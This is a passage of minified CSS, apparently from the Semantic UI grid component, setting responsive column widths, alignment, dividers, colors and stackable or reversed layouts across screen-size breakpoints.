wide large screen"].column,.ui.grid>[class*="eight wide large screen"].column{width:50%!important}.ui.column.grid>[class*="nine wide large screen"].column,.ui.grid>.column.row>[class*="nine wide large screen"].column,.ui.grid>.row>[class*="nine wide large screen"].column,.ui.grid>[class*="nine wide large screen"].column{width:56.25%!important}.ui.column.grid>[class*="ten wide large screen"].column,.ui.grid>.column.row>[class*="ten wide large screen"].column,.ui.grid>.row>[class*="ten wide large screen"].column,.ui.grid>[class*="ten wide large screen"].column{width:62.5%!important}.ui.column.grid>[class*="eleven wide large screen"].column,.ui.grid>.column.row>[class*="eleven wide large screen"].column,.ui.grid>.row>[class*="eleven wide large screen"].column,.ui.grid>[class*="eleven wide large screen"].column{width:68.75%!important}.ui.column.grid>[class*="twelve wide large screen"].column,.ui.grid>.column.row>[class*="twelve wide large screen"].column,.ui.grid>.row>[class*="twelve wide large screen"].column,.ui.grid>[class*="twelve wide large screen"].column{width:75%!important}.ui.column.grid>[class*="thirteen wide large screen"].column,.ui.grid>.column.row>[class*="thirteen wide large screen"].column,.ui.grid>.row>[class*="thirteen wide large screen"].column,.ui.grid>[class*="thirteen wide large screen"].column{width:81.25%!important}.ui.column.grid>[class*="fourteen wide large screen"].column,.ui.grid>.column.row>[class*="fourteen wide large screen"].column,.ui.grid>.row>[class*="fourteen wide large screen"].column,.ui.grid>[class*="fourteen wide large screen"].column{width:87.5%!important}.ui.column.grid>[class*="fifteen wide large screen"].column,.ui.grid>.column.row>[class*="fifteen wide large screen"].column,.ui.grid>.row>[class*="fifteen wide large screen"].column,.ui.grid>[class*="fifteen wide large screen"].column{width:93.75%!important}.ui.column.grid>[class*="sixteen wide large screen"].column,.ui.grid>.column.row>[class*="sixteen wide large screen"].column,.ui.grid>.row>[class*="sixteen wide large screen"].column,.ui.grid>[class*="sixteen wide large screen"].column{width:100%!important}}@media only screen and (min-width:1920px){.ui.column.grid>[class*="one wide widescreen"].column,.ui.grid>.column.row>[class*="one wide widescreen"].column,.ui.grid>.row>[class*="one wide widescreen"].column,.ui.grid>[class*="one wide widescreen"].column{width:6.25%!important}.ui.column.grid>[class*="two wide widescreen"].column,.ui.grid>.column.row>[class*="two wide widescreen"].column,.ui.grid>.row>[class*="two wide widescreen"].column,.ui.grid>[class*="two wide widescreen"].column{width:12.5%!important}.ui.column.grid>[class*="three wide widescreen"].column,.ui.grid>.column.row>[class*="three wide widescreen"].column,.ui.grid>.row>[class*="three wide widescreen"].column,.ui.grid>[class*="three wide widescreen"].column{width:18.75%!important}.ui.column.grid>[class*="four wide widescreen"].column,.ui.grid>.column.row>[class*="four wide widescreen"].column,.ui.grid>.row>[class*="four wide widescreen"].column,.ui.grid>[class*="four wide widescreen"].column{width:25%!important}.ui.column.grid>[class*="five wide widescreen"].column,.ui.grid>.column.row>[class*="five wide widescreen"].column,.ui.grid>.row>[class*="five wide widescreen"].column,.ui.grid>[class*="five wide widescreen"].column{width:31.25%!important}.ui.column.grid>[class*="six wide widescreen"].column,.ui.grid>.column.row>[class*="six wide widescreen"].column,.ui.grid>.row>[class*="six wide widescreen"].column,.ui.grid>[class*="six wide widescreen"].column{width:37.5%!important}.ui.column.grid>[class*="seven wide widescreen"].column,.ui.grid>.column.row>[class*="seven wide widescreen"].column,.ui.grid>.row>[class*="seven wide widescreen"].column,.ui.grid>[class*="seven wide widescreen"].column{width:43.75%!important}.ui.column.grid>[class*="eight wide widescreen"].column,.ui.grid>.column.row>[class*="eight wide widescreen"].column,.ui.grid>.row>[class*="eight wide widescreen"].column,.ui.grid>[class*="eight wide widescreen"].column{width:50%!important}.ui.column.grid>[class*="nine wide widescreen"].column,.ui.grid>.column.row>[class*="nine wide widescreen"].column,.ui.grid>.row>[class*="nine wide widescreen"].column,.ui.grid>[class*="nine wide widescreen"].column{width:56.25%!important}.ui.column.grid>[class*="ten wide widescreen"].column,.ui.grid>.column.row>[class*="ten wide widescreen"].column,.ui.grid>.row>[class*="ten wide widescreen"].column,.ui.grid>[class*="ten wide widescreen"].column{width:62.5%!important}.ui.column.grid>[class*="eleven wide widescreen"].column,.ui.grid>.column.row>[class*="eleven wide widescreen"].column,.ui.grid>.row>[class*="eleven wide widescreen"].column,.ui.grid>[class*="eleven wide widescreen"].column{width:68.75%!important}.ui.column.grid>[class*="twelve wide widescreen"].column,.ui.grid>.column.row>[class*="twelve wide widescreen"].column,.ui.grid>.row>[class*="twelve wide widescreen"].column,.ui.grid>[class*="twelve wide widescreen"].column{width:75%!important}.ui.column.grid>[class*="thirteen wide widescreen"].column,.ui.grid>.column.row>[class*="thirteen wide widescreen"].column,.ui.grid>.row>[class*="thirteen wide widescreen"].column,.ui.grid>[class*="thirteen wide widescreen"].column{width:81.25%!important}.ui.column.grid>[class*="fourteen wide widescreen"].column,.ui.grid>.column.row>[class*="fourteen wide widescreen"].column,.ui.grid>.row>[class*="fourteen wide widescreen"].column,.ui.grid>[class*="fourteen wide widescreen"].column{width:87.5%!important}.ui.column.grid>[class*="fifteen wide widescreen"].column,.ui.grid>.column.row>[class*="fifteen wide widescreen"].column,.ui.grid>.row>[class*="fifteen wide widescreen"].column,.ui.grid>[class*="fifteen wide widescreen"].column{width:93.75%!important}.ui.column.grid>[class*="sixteen wide widescreen"].column,.ui.grid>.column.row>[class*="sixteen wide widescreen"].column,.ui.grid>.row>[class*="sixteen wide widescreen"].column,.ui.grid>[class*="sixteen wide widescreen"].column{width:100%!important}}.ui.centered.grid,.ui.centered.grid>.row,.ui.grid>.centered.row{text-align:center;-webkit-box-pack:center;-ms-flex-pack:center;justify-content:center}.ui.centered.grid>.column:not(.aligned):not(.justified):not(.row),.ui.centered.grid>.row>.column:not(.aligned):not(.justified),.ui.grid .centered.row>.column:not(.aligned):not(.justified){text-align:left}.ui.grid>.centered.column,.ui.grid>.row>.centered.column{display:block;margin-left:auto;margin-right:auto}.ui.grid>.relaxed.row>.column,.ui.relaxed.grid>.column:not(.row),.ui.relaxed.grid>.row>.column{padding-left:1.5rem;padding-right:1.5rem}.ui.grid>[class*="very relaxed"].row>.column,.ui[class*="very relaxed"].grid>.column:not(.row),.ui[class*="very relaxed"].grid>.row>.column{padding-left:2.5rem;padding-right:2.5rem}.ui.grid .relaxed.row+.ui.divider,.ui.relaxed.grid .row+.ui.divider{margin-left:1.5rem;margin-right:1.5rem}.ui.grid [class*="very relaxed"].row+.ui.divider,.ui[class*="very relaxed"].grid .row+.ui.divider{margin-left:2.5rem;margin-right:2.5rem}.ui.padded.grid:not(.vertically):not(.horizontally){margin:0!important}[class*="horizontally padded"].ui.grid{margin-left:0!important;margin-right:0!important}[class*="vertically padded"].ui.grid{margin-top:0!important;margin-bottom:0!important}.ui.grid [class*="left floated"].column{margin-right:auto}.ui.grid [class*="right floated"].column{margin-left:auto}.ui.divided.grid:not([class*="vertically divided"])>.column:not(.row),.ui.divided.grid:not([class*="vertically divided"])>.row>.column{-webkit-box-shadow:-1px 0 0 0 rgba(34,36,38,.15);box-shadow:-1px 0 0 0 rgba(34,36,38,.15)}.ui[class*="vertically divided"].grid>.column:not(.row),.ui[class*="vertically divided"].grid>.row>.column{margin-top:1rem;margin-bottom:1rem;padding-top:0;padding-bottom:0}.ui[class*="vertically divided"].grid>.row{margin-top:0;margin-bottom:0}.ui.divided.grid:not([class*="vertically divided"])>.column:first-child,.ui.divided.grid:not([class*="vertically divided"])>.row>.column:first-child{-webkit-box-shadow:none;box-shadow:none}.ui[class*="vertically divided"].grid>.row:first-child>.column{margin-top:0}.ui.grid>.divided.row>.column{-webkit-box-shadow:-1px 0 0 0 rgba(34,36,38,.15);box-shadow:-1px 0 0 0 rgba(34,36,38,.15)}.ui.grid>.divided.row>.column:first-child{-webkit-box-shadow:none;box-shadow:none}.ui[class*="vertically divided"].grid>.row{position:relative}.ui[class*="vertically divided"].grid>.row:before{position:absolute;content:"";top:0;left:0;width:calc(100% - 2rem);height:1px;margin:0 1rem;-webkit-box-shadow:0 -1px 0 0 rgba(34,36,38,.15);box-shadow:0 -1px 0 0 rgba(34,36,38,.15)}.ui.padded.divided.grid:not(.vertically):not(.horizontally),[class*="horizontally padded"].ui.divided.grid{width:100%}.ui[class*="vertically divided"].grid>.row:first-child:before{-webkit-box-shadow:none;box-shadow:none}.ui.inverted.divided.grid:not([class*="vertically divided"])>.column:not(.row),.ui.inverted.divided.grid:not([class*="vertically divided"])>.row>.column{-webkit-box-shadow:-1px 0 0 0 rgba(255,255,255,.1);box-shadow:-1px 0 0 0 rgba(255,255,255,.1)}.ui.inverted.divided.grid:not([class*="vertically divided"])>.column:not(.row):first-child,.ui.inverted.divided.grid:not([class*="vertically divided"])>.row>.column:first-child{-webkit-box-shadow:none;box-shadow:none}.ui.inverted[class*="vertically divided"].grid>.row:before{-webkit-box-shadow:0 -1px 0 0 rgba(255,255,255,.1);box-shadow:0 -1px 0 0 rgba(255,255,255,.1)}.ui.relaxed[class*="vertically divided"].grid>.row:before{margin-left:1.5rem;margin-right:1.5rem;width:calc(100% - 3rem)}.ui[class*="very relaxed"][class*="vertically divided"].grid>.row:before{margin-left:5rem;margin-right:5rem;width:calc(100% - 5rem)}.ui.celled.grid{width:100%;margin:1em 0;-webkit-box-shadow:0 0 0 1px #d4d4d5;box-shadow:0 0 0 1px #d4d4d5}.ui.celled.grid>.row{width:100%!important;margin:0;padding:0;-webkit-box-shadow:0 -1px 0 0 #d4d4d5;box-shadow:0 -1px 0 0 #d4d4d5}.ui.celled.grid>.column:not(.row),.ui.celled.grid>.row>.column{-webkit-box-shadow:-1px 0 0 0 #d4d4d5;box-shadow:-1px 0 0 0 #d4d4d5}.ui.celled.grid>.column:first-child,.ui.celled.grid>.row>.column:first-child{-webkit-box-shadow:none;box-shadow:none}.ui.celled.grid>.column:not(.row),.ui.celled.grid>.row>.column{padding:1em}.ui.relaxed.celled.grid>.column:not(.row),.ui.relaxed.celled.grid>.row>.column{padding:1.5em}.ui[class*="very relaxed"].celled.grid>.column:not(.row),.ui[class*="very relaxed"].celled.grid>.row>.column{padding:2em}.ui[class*="internally celled"].grid{-webkit-box-shadow:none;box-shadow:none;margin:0}.ui[class*="internally celled"].grid>.row:first-child{-webkit-box-shadow:none;box-shadow:none}.ui[class*="internally celled"].grid>.row>.column:first-child{-webkit-box-shadow:none;box-shadow:none}.ui.grid>.row>[class*="top aligned"].column,.ui.grid>[class*="top aligned"].column:not(.row),.ui.grid>[class*="top aligned"].row>.column,.ui[class*="top aligned"].grid>.column:not(.row),.ui[class*="top aligned"].grid>.row>.column{-webkit-box-orient:vertical;-webkit-box-direction:normal;-ms-flex-direction:column;flex-direction:column;vertical-align:top;-ms-flex-item-align:start!important;align-self:flex-start!important}.ui.grid>.row>[class*="middle aligned"].column,.ui.grid>[class*="middle aligned"].column:not(.row),.ui.grid>[class*="middle aligned"].row>.column,.ui[class*="middle aligned"].grid>.column:not(.row),.ui[class*="middle aligned"].grid>.row>.column{-webkit-box-orient:vertical;-webkit-box-direction:normal;-ms-flex-direction:column;flex-direction:column;vertical-align:middle;-ms-flex-item-align:center!important;align-self:center!important}.ui.grid>.row>[class*="bottom aligned"].column,.ui.grid>[class*="bottom aligned"].column:not(.row),.ui.grid>[class*="bottom aligned"].row>.column,.ui[class*="bottom aligned"].grid>.column:not(.row),.ui[class*="bottom aligned"].grid>.row>.column{-webkit-box-orient:vertical;-webkit-box-direction:normal;-ms-flex-direction:column;flex-direction:column;vertical-align:bottom;-ms-flex-item-align:end!important;align-self:flex-end!important}.ui.grid>.row>.stretched.column,.ui.grid>.stretched.column:not(.row),.ui.grid>.stretched.row>.column,.ui.stretched.grid>.column,.ui.stretched.grid>.row>.column{display:-webkit-inline-box!important;display:-ms-inline-flexbox!important;display:inline-flex!important;-ms-flex-item-align:stretch;align-self:stretch;-webkit-box-orient:vertical;-webkit-box-direction:normal;-ms-flex-direction:column;flex-direction:column}.ui.grid>.row>.stretched.column>*,.ui.grid>.stretched.column:not(.row)>*,.ui.grid>.stretched.row>.column>*,.ui.stretched.grid>.column>*,.ui.stretched.grid>.row>.column>*{-webkit-box-flex:1;-ms-flex-positive:1;flex-grow:1}.ui.grid>.row>[class*="left aligned"].column.column,.ui.grid>[class*="left aligned"].column.column,.ui.grid>[class*="left aligned"].row>.column,.ui[class*="left aligned"].grid>.column,.ui[class*="left aligned"].grid>.row>.column{text-align:left;-ms-flex-item-align:inherit;align-self:inherit}.ui.grid>.row>[class*="center aligned"].column.column,.ui.grid>[class*="center aligned"].column.column,.ui.grid>[class*="center aligned"].row>.column,.ui[class*="center aligned"].grid>.column,.ui[class*="center aligned"].grid>.row>.column{text-align:center;-ms-flex-item-align:inherit;align-self:inherit}.ui[class*="center aligned"].grid{-webkit-box-pack:center;-ms-flex-pack:center;justify-content:center}.ui.grid>.row>[class*="right aligned"].column.column,.ui.grid>[class*="right aligned"].column.column,.ui.grid>[class*="right aligned"].row>.column,.ui[class*="right aligned"].grid>.column,.ui[class*="right aligned"].grid>.row>.column{text-align:right;-ms-flex-item-align:inherit;align-self:inherit}.ui.grid>.justified.column.column,.ui.grid>.justified.row>.column,.ui.grid>.row>.justified.column.column,.ui.justified.grid>.column,.ui.justified.grid>.row>.column{text-align:justify;-webkit-hyphens:auto;-ms-hyphens:auto;hyphens:auto}.ui.grid>.row>.black.column,.ui.grid>.row>.blue.column,.ui.grid>.row>.brown.column,.ui.grid>.row>.green.column,.ui.grid>.row>.grey.column,.ui.grid>.row>.olive.column,.ui.grid>.row>.orange.column,.ui.grid>.row>.pink.column,.ui.grid>.row>.purple.column,.ui.grid>.row>.red.column,.ui.grid>.row>.teal.column,.ui.grid>.row>.violet.column,.ui.grid>.row>.yellow.column{margin-top:-1rem;margin-bottom:-1rem;padding-top:1rem;padding-bottom:1rem}.ui.grid>.red.column,.ui.grid>.red.row,.ui.grid>.row>.red.column{background-color:#db2828!important;color:#fff}.ui.grid>.orange.column,.ui.grid>.orange.row,.ui.grid>.row>.orange.column{background-color:#f2711c!important;color:#fff}.ui.grid>.row>.yellow.column,.ui.grid>.yellow.column,.ui.grid>.yellow.row{background-color:#fbbd08!important;color:#fff}.ui.grid>.olive.column,.ui.grid>.olive.row,.ui.grid>.row>.olive.column{background-color:#b5cc18!important;color:#fff}.ui.grid>.green.column,.ui.grid>.green.row,.ui.grid>.row>.green.column{background-color:#21ba45!important;color:#fff}.ui.grid>.row>.teal.column,.ui.grid>.teal.column,.ui.grid>.teal.row{background-color:#00b5ad!important;color:#fff}.ui.grid>.blue.column,.ui.grid>.blue.row,.ui.grid>.row>.blue.column{background-color:#2185d0!important;color:#fff}.ui.grid>.row>.violet.column,.ui.grid>.violet.column,.ui.grid>.violet.row{background-color:#6435c9!important;color:#fff}.ui.grid>.purple.column,.ui.grid>.purple.row,.ui.grid>.row>.purple.column{background-color:#a333c8!important;color:#fff}.ui.grid>.pink.column,.ui.grid>.pink.row,.ui.grid>.row>.pink.column{background-color:#e03997!important;color:#fff}.ui.grid>.brown.column,.ui.grid>.brown.row,.ui.grid>.row>.brown.column{background-color:#a5673f!important;color:#fff}.ui.grid>.grey.column,.ui.grid>.grey.row,.ui.grid>.row>.grey.column{background-color:#767676!important;color:#fff}.ui.grid>.black.column,.ui.grid>.black.row,.ui.grid>.row>.black.column{background-color:#1b1c1d!important;color:#fff}.ui.grid>[class*="equal width"].row>.column,.ui[class*="equal width"].grid>.column:not(.row),.ui[class*="equal width"].grid>.row>.column{display:inline-block;-webkit-box-flex:1;-ms-flex-positive:1;flex-grow:1}.ui.grid>[class*="equal width"].row>.wide.column,.ui[class*="equal width"].grid>.row>.wide.column,.ui[class*="equal width"].grid>.wide.column{-webkit-box-flex:0;-ms-flex-positive:0;flex-grow:0}@media only screen and (max-width:767px){.ui.grid>[class*="mobile reversed"].row,.ui[class*="mobile reversed"].grid,.ui[class*="mobile reversed"].grid>.row{-webkit-box-orient:horizontal;-webkit-box-direction:reverse;-ms-flex-direction:row-reverse;flex-direction:row-reverse}.ui.stackable[class*="mobile reversed"],.ui[class*="mobile vertically reversed"].grid{-webkit-box-orient:vertical;-webkit-box-direction:reverse;-ms-flex-direction:column-reverse;flex-direction:column-reverse}.ui[class*="mobile reversed"].divided.grid:not([class*="vertically divided"])>.column:first-child,.ui[class*="mobile reversed"].divided.grid:not([class*="vertically divided"])>.row>.column:first-child{-webkit-box-shadow:-1px 0 0 0 rgba(34,36,38,.15);box-shadow:-1px 0 0 0 rgba(34,36,38,.15)}.ui[class*="mobile reversed"].divided.grid:not([class*="vertically divided"])>.column:last-child,.ui[class*="mobile reversed"].divided.grid:not([class*="vertically divided"])>.row>.column:last-child{-webkit-box-shadow:none;box-shadow:none}.ui.grid[class*="vertically divided"][class*="mobile vertically reversed"]>.row:first-child:before{-webkit-box-shadow:0 -1px 0 0 rgba(34,36,38,.15);box-shadow:0 -1px 0 0 rgba(34,36,38,.15)}.ui.grid[class*="vertically divided"][class*="mobile vertically reversed"]>.row:last-child:before{-webkit-box-shadow:none;box-shadow:none}.ui[class*="mobile reversed"].celled.grid>.row>.column:first-child{-webkit-box-shadow:-1px 0 0 0 #d4d4d5;box-shadow:-1px 0 0 0 #d4d4d5}.ui[class*="mobile reversed"].celled.grid>.row>.column:last-child{-webkit-box-shadow:none;box-shadow:none}}@media only screen and (min-width:768px) and (max-width:991px){.ui.grid>[class*="tablet reversed"].row,.ui[class*="tablet reversed"].grid,.ui[class*="tablet reversed"].grid>.row{-webkit-box-orient:horizontal;-webkit-box-direction:reverse;-ms-flex-direction:row-reverse;flex-direction:row-reverse}.ui[class*="tablet vertically reversed"].grid{-webkit-box-orient:vertical;-webkit-box-direction:reverse;-ms-flex-direction:column-reverse;flex-direction:column-reverse}.ui[class*="tablet reversed"].divided.grid:not([class*="vertically divided"])>.column:first-child,.ui[class*="tablet reversed"].divided.grid:not([class*="vertically divided"])>.row>.column:first-child{-webkit-box-shadow:-1px 0 0 0 rgba(34,36,38,.15);box-shadow:-1px 0 0 0 rgba(34,36,38,.15)}.ui[class*="tablet reversed"].divided.grid:not([class*="vertically divided"])>.column:last-child,.ui[class*="tablet reversed"].divided.grid:not([class*="vertically divided"])>.row>.column:last-child{-webkit-box-shadow:none;box-shadow:none}.ui.grid[class*="vertically divided"][class*="tablet vertically reversed"]>.row:first-child:before{-webkit-box-shadow:0 -1px 0 0 rgba(34,36,38,.15);box-shadow:0 -1px 0 0 rgba(34,36,38,.15)}.ui.grid[class*="vertically divided"][class*="tablet vertically reversed"]>.row:last-child:before{-webkit-box-shadow:none;box-shadow:none}.ui[class*="tablet reversed"].celled.grid>.row>.column:first-child{-webkit-box-shadow:-1px 0 0 0 #d4d4d5;box-shadow:-1px 0 0 0 #d4d4d5}.ui[class*="tablet reversed"].celled.grid>.row>.column:last-child{-webkit-box-shadow:none;box-shadow:none}}@media only screen and (min-width:992px){.ui.grid>[class*="computer reversed"].row,.ui[class*="computer reversed"].grid,.ui[class*="computer reversed"].grid>.row{-webkit-box-orient:horizontal;-webkit-box-direction:reverse;-ms-flex-direction:row-reverse;flex-direction:row-reverse}.ui[class*="computer vertically reversed"].grid{-webkit-box-orient:vertical;-webkit-box-direction:reverse;-ms-flex-direction:column-reverse;flex-direction:column-reverse}.ui[class*="computer reversed"].divided.grid:not([class*="vertically divided"])>.column:first-child,.ui[class*="computer reversed"].divided.grid:not([class*="vertically divided"])>.row>.column:first-child{-webkit-box-shadow:-1px 0 0 0 rgba(34,36,38,.15);box-shadow:-1px 0 0 0 rgba(34,36,38,.15)}.ui[class*="computer reversed"].divided.grid:not([class*="vertically divided"])>.column:last-child,.ui[class*="computer reversed"].divided.grid:not([class*="vertically divided"])>.row>.column:last-child{-webkit-box-shadow:none;box-shadow:none}.ui.grid[class*="vertically divided"][class*="computer vertically reversed"]>.row:first-child:before{-webkit-box-shadow:0 -1px 0 0 rgba(34,36,38,.15);box-shadow:0 -1px 0 0 rgba(34,36,38,.15)}.ui.grid[class*="vertically divided"][class*="computer vertically reversed"]>.row:last-child:before{-webkit-box-shadow:none;box-shadow:none}.ui[class*="computer reversed"].celled.grid>.row>.column:first-child{-webkit-box-shadow:-1px 0 0 0 #d4d4d5;box-shadow:-1px 0 0 0 #d4d4d5}.ui[class*="computer reversed"].celled.grid>.row>.column:last-child{-webkit-box-shadow:none;box-shadow:none}}@media only screen and (min-width:768px) and (max-width:991px){.ui.doubling.grid{width:auto}.ui.doubling.grid>.row,.ui.grid>.doubling.row{margin:0!important;padding:0!important}.ui.doubling.grid>.row>.column,.ui.grid>.doubling.row>.column{display:inline-block!important;padding-top:1rem!important;padding-bottom:1rem!important;-webkit-box-shadow:none!important;box-shadow:none!important;margin:0}.ui.grid>[class*="two column"].doubling.row.row>.column,.ui[class*="two column"].doubling.grid>.column:not(.row),.ui[class*="two column"].doubling.grid>.row>.column{width:100%!important}.ui.grid>[class*="three column"].doubling.row.row>.column,.ui[class*="three column"].doubling.grid>.column:not(.row),.ui[class*="three column"].doubling.grid>.row>.column{width:50%!important}.ui.grid>[class*="four column"].doubling.row.row>.column,.ui[class*="four column"].doubling.grid>.column:not(.row),.ui[class*="four column"].doubling.grid>.row>.column{width:50%!important}.ui.grid>[class*="five column"].doubling.row.row>.column,.ui[class*="five column"].doubling.grid>.column:not(.row),.ui[class*="five column"].doubling.grid>.row>.column{width:33.33333333%!important}.ui.grid>[class*="six column"].doubling.row.row>.column,.ui[class*="six column"].doubling.grid>.column:not(.row),.ui[class*="six column"].doubling.grid>.row>.column{width:33.33333333%!important}.ui.grid>[class*="seven column"].doubling.row.row>.column,.ui[class*="seven column"].doubling.grid>.column:not(.row),.ui[class*="seven column"].doubling.grid>.row>.column{width:33.33333333%!important}.ui.grid>[class*="eight column"].doubling.row.row>.column,.ui[class*="eight column"].doubling.grid>.column:not(.row),.ui[class*="eight column"].doubling.grid>.row>.column{width:25%!important}.ui.grid>[class*="nine column"].doubling.row.row>.column,.ui[class*="nine column"].doubling.grid>.column:not(.row),.ui[class*="nine column"].doubling.grid>.row>.column{width:25%!important}.ui.grid>[class*="ten column"].doubling.row.row>.column,.ui[class*="ten column"].doubling.grid>.column:not(.row),.ui[class*="ten column"].doubling.grid>.row>.column{width:20%!important}.ui.grid>[class*="eleven column"].doubling.row.row>.column,.ui[class*="eleven column"].doubling.grid>.column:not(.row),.ui[class*="eleven column"].doubling.grid>.row>.column{width:20%!important}.ui.grid>[class*="twelve column"].doubling.row.row>.column,.ui[class*="twelve column"].doubling.grid>.column:not(.row),.ui[class*="twelve column"].doubling.grid>.row>.column{width:16.66666667%!important}.ui.grid>[class*="thirteen column"].doubling.row.row>.column,.ui[class*="thirteen column"].doubling.grid>.column:not(.row),.ui[class*="thirteen column"].doubling.grid>.row>.column{width:16.66666667%!important}.ui.grid>[class*="fourteen column"].doubling.row.row>.column,.ui[class*="fourteen column"].doubling.grid>.column:not(.row),.ui[class*="fourteen column"].doubling.grid>.row>.column{width:14.28571429%!important}.ui.grid>[class*="fifteen column"].doubling.row.row>.column,.ui[class*="fifteen column"].doubling.grid>.column:not(.row),.ui[class*="fifteen column"].doubling.grid>.row>.column{width:14.28571429%!important}.ui.grid>[class*="sixteen column"].doubling.row.row>.column,.ui[class*="sixteen column"].doubling.grid>.column:not(.row),.ui[class*="sixteen column"].doubling.grid>.row>.column{width:12.5%!important}}@media only screen and (max-width:767px){.ui.doubling.grid>.row,.ui.grid>.doubling.row{margin:0!important;padding:0!important}.ui.doubling.grid>.row>.column,.ui.grid>.doubling.row>.column{padding-top:1rem!important;padding-bottom:1rem!important;margin:0!important;-webkit-box-shadow:none!important;box-shadow:none!important}.ui.grid>[class*="two column"].doubling:not(.stackable).row.row>.column,.ui[class*="two column"].doubling:not(.stackable).grid>.column:not(.row),.ui[class*="two column"].doubling:not(.stackable).grid>.row>.column{width:100%!important}.ui.grid>[class*="three column"].doubling:not(.stackable).row.row>.column,.ui[class*="three column"].doubling:not(.stackable).grid>.column:not(.row),.ui[class*="three column"].doubling:not(.stackable).grid>.row>.column{width:50%!important}.ui.grid>[class*="four column"].doubling:not(.stackable).row.row>.column,.ui[class*="four column"].doubling:not(.stackable).grid>.column:not(.row),.ui[class*="four column"].doubling:not(.stackable).grid>.row>.column{width:50%!important}.ui.grid>[class*="five column"].doubling:not(.stackable).row.row>.column,.ui[class*="five column"].doubling:not(.stackable).grid>.column:not(.row),.ui[class*="five column"].doubling:not(.stackable).grid>.row>.column{width:50%!important}.ui.grid>[class*="six column"].doubling:not(.stackable).row.row>.column,.ui[class*="six column"].doubling:not(.stackable).grid>.column:not(.row),.ui[class*="six column"].doubling:not(.stackable).grid>.row>.column{width:50%!important}.ui.grid>[class*="seven column"].doubling:not(.stackable).row.row>.column,.ui[class*="seven column"].doubling:not(.stackable).grid>.column:not(.row),.ui[class*="seven column"].doubling:not(.stackable).grid>.row>.column{width:50%!important}.ui.grid>[class*="eight column"].doubling:not(.stackable).row.row>.column,.ui[class*="eight column"].doubling:not(.stackable).grid>.column:not(.row),.ui[class*="eight column"].doubling:not(.stackable).grid>.row>.column{width:50%!important}.ui.grid>[class*="nine column"].doubling:not(.stackable).row.row>.column,.ui[class*="nine column"].doubling:not(.stackable).grid>.column:not(.row),.ui[class*="nine column"].doubling:not(.stackable).grid>.row>.column{width:33.33333333%!important}.ui.grid>[class*="ten column"].doubling:not(.stackable).row.row>.column,.ui[class*="ten column"].doubling:not(.stackable).grid>.column:not(.row),.ui[class*="ten column"].doubling:not(.stackable).grid>.row>.column{width:33.33333333%!important}.ui.grid>[class*="eleven column"].doubling:not(.stackable).row.row>.column,.ui[class*="eleven column"].doubling:not(.stackable).grid>.column:not(.row),.ui[class*="eleven column"].doubling:not(.stackable).grid>.row>.column{width:33.33333333%!important}.ui.grid>[class*="twelve column"].doubling:not(.stackable).row.row>.column,.ui[class*="twelve column"].doubling:not(.stackable).grid>.column:not(.row),.ui[class*="twelve column"].doubling:not(.stackable).grid>.row>.column{width:33.33333333%!important}.ui.grid>[class*="thirteen column"].doubling:not(.stackable).row.row>.column,.ui[class*="thirteen column"].doubling:not(.stackable).grid>.column:not(.row),.ui[class*="thirteen column"].doubling:not(.stackable).grid>.row>.column{width:33.33333333%!important}.ui.grid>[class*="fourteen column"].doubling:not(.stackable).row.row>.column,.ui[class*="fourteen column"].doubling:not(.stackable).grid>.column:not(.row),.ui[class*="fourteen column"].doubling:not(.stackable).grid>.row>.column{width:25%!important}.ui.grid>[class*="fifteen column"].doubling:not(.stackable).row.row>.column,.ui[class*="fifteen column"].doubling:not(.stackable).grid>.column:not(.row),.ui[class*="fifteen column"].doubling:not(.stackable).grid>.row>.column{width:25%!important}.ui.grid>[class*="sixteen column"].doubling:not(.stackable).row.row>.column,.ui[class*="sixteen column"].doubling:not(.stackable).grid>.column:not(.row),.ui[class*="sixteen column"].doubling:not(.stackable).grid>.row>.column{width:25%!important}}@media only screen and (max-width:767px){.ui.stackable.grid{width:auto;margin-left:0!important;margin-right:0!important}.ui.grid>.stackable.stackable.row>.column,.ui.stackable.grid>.column.grid>.column,.ui.stackable.grid>.column.row>.column,.ui.stackable.grid>.column:not(.row),.ui.stackable.grid>.row>.column,.ui.stackable.grid>.row>.wide.column,.ui.stackable.grid>.wide.column{width:100%!important;margin:0 0!important;-webkit-box-shadow:none!important;box-shadow:none!important;padding:1rem 1rem!important}.ui.stackable.grid:not(.vertically)>.row{margin:0;padding:0}.ui.container>.ui.stackable.grid>.column,.ui.container>.ui.stackable.grid>.row>.column{padding-left:0!important;padding-right:0!important}.ui.grid .ui.stackable.grid,.ui.segment:not(.vertical) .ui.stackable.page.grid{margin-left:-1rem!important;margin-right:-1rem!important}.ui.stackable.celled.grid>.column:not(.row):first-child,.ui.stackable.celled.grid>.row:first-child>.column:first-child,.ui.stackable.divided.grid>.column:not(.row):first-child,.ui.stackable.divided.grid>.row:first-child>.column:first-child{border-top:none!important}.ui.inverted.stackable.celled.grid>.column:not(.row),.ui.inverted.stackable.celled.grid>.row>.column,.ui.inverted.stackable.divided.grid>.column:not(.row),.ui.inverted.stackable.divided.grid>.row>.column{border-top:1px solid rgba(255,255,255,.1)}.ui.stackable.celled.grid>.column:not(.row),.ui.stackable.celled.grid>.row>.column,.ui.stackable.divided:not(.vertically).grid>.column:not(.row),.ui.stackable.divided:not(.vertically).grid>.row>.column{border-top:1px solid rgba(34,36,38,.15);-webkit-box-shadow:none!important;box-shadow:none!important;padding-top:2rem!important;padding-bottom:2rem!important}.ui.stackable.celled.grid>.row{-webkit-box-shadow:none!important;box-shadow:none!important}.ui.stackable.divided:not(.vertically).grid>.column:not(.row),.ui.stackable.divided:not(.vertically).grid>.row>.column{padding-left:0!important;padding-right:0!important}}@media only screen and (max-width:767px){.ui.grid.grid.grid>.row>[class*="tablet only"].column:not(.mobile),.ui.grid.grid.grid>[class*="tablet only"].column:not(.mobile),.ui.grid.grid.grid>[class*="tablet only"].row:not(.mobile),.ui[class*="tablet only"].grid.grid.grid:not(.mobile){display:none!important}.ui.grid.grid.grid>.row>[class*="computer only"].column:not(.mobile),.ui.grid.grid.grid>[class*="computer only"].column:not(.mobile),.ui.grid.grid.grid>[class*="computer only"].row:not(.mobile),.ui[class*="computer only"].grid.grid.grid:not(.mobile){display:none!important}.ui.grid.grid.grid>.row>[class*="large screen only"].column:not(.mobile),.ui.grid.grid.grid>[class*="large screen only"].column:not(.mobile),.ui.grid.grid.grid>[class*="large screen only"].row:not(.mobile),.ui[class*="large screen only"].grid.grid.grid:not(.mobile){display:none!important}.ui.grid.grid.grid>.row>[class*="widescreen only"].column:not(.mobile),.ui.grid.grid.grid>[class*="widescreen only"].column:not(.mobile),.ui.grid.grid.grid>[class*="widescreen only"].row:not(.mobile),.ui[class*="widescreen only"].grid.grid.grid:not(.mobile){display:none!important}}@media only 